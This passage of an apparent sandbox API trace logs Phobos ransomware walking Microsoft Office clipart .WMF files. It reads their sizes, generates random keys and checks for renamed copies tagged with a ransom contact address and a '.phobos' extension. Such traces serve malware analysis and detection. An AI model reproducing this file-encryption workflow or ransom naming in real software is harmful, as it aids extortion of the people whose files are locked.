pbBuffer=0x425faf8) returned 1 [0152.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.188] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5220) returned 1 [0152.188] CloseHandle (hObject=0x564) returned 1 [0152.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf")) returned 0x220 [0152.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.190] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.193] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4884) returned 1 [0152.193] CloseHandle (hObject=0x564) returned 1 [0152.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf")) returned 0x220 [0152.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.193] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.194] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5144) returned 1 [0152.194] CloseHandle (hObject=0x564) returned 1 [0152.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf")) returned 0x220 [0152.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.195] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.197] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6552) returned 1 [0152.197] CloseHandle (hObject=0x564) returned 1 [0152.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf")) returned 0x220 [0152.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.201] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.204] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5920) returned 1 [0152.204] CloseHandle (hObject=0x564) returned 1 [0152.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf")) returned 0x220 [0152.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.205] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.206] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5096) returned 1 [0152.206] CloseHandle (hObject=0x564) returned 1 [0152.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf")) returned 0x220 [0152.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.207] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.209] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3488) returned 1 [0152.209] CloseHandle (hObject=0x564) returned 1 [0152.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf")) returned 0x220 [0152.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.213] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.215] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3524) returned 1 [0152.215] CloseHandle (hObject=0x564) returned 1 [0152.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf")) returned 0x220 [0152.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.215] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.216] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5238) returned 1 [0152.216] CloseHandle (hObject=0x564) returned 1 [0152.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf")) returned 0x220 [0152.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.218] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.219] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2350) returned 1 [0152.219] CloseHandle (hObject=0x564) returned 1 [0152.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf")) returned 0x220 [0152.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.220] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.229] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2342) returned 1 [0152.229] CloseHandle (hObject=0x564) returned 1 [0152.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf")) returned 0x220 [0152.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.232] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.233] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=69644) returned 1 [0152.233] CloseHandle (hObject=0x564) returned 1 [0152.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf")) returned 0x220 [0152.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.236] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.239] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3946) returned 1 [0152.239] CloseHandle (hObject=0x564) returned 1 [0152.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf")) returned 0x220 [0152.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.239] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.240] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=73198) returned 1 [0152.240] CloseHandle (hObject=0x564) returned 1 [0152.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf")) returned 0x220 [0152.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.242] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=38084) returned 1 [0152.242] CloseHandle (hObject=0x564) returned 1 [0152.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf")) returned 0x220 [0152.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.244] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12764) returned 1 [0152.244] CloseHandle (hObject=0x564) returned 1 [0152.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf")) returned 0x220 [0152.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.246] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.247] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11912) returned 1 [0152.247] CloseHandle (hObject=0x564) returned 1 [0152.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf")) returned 0x220 [0152.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program 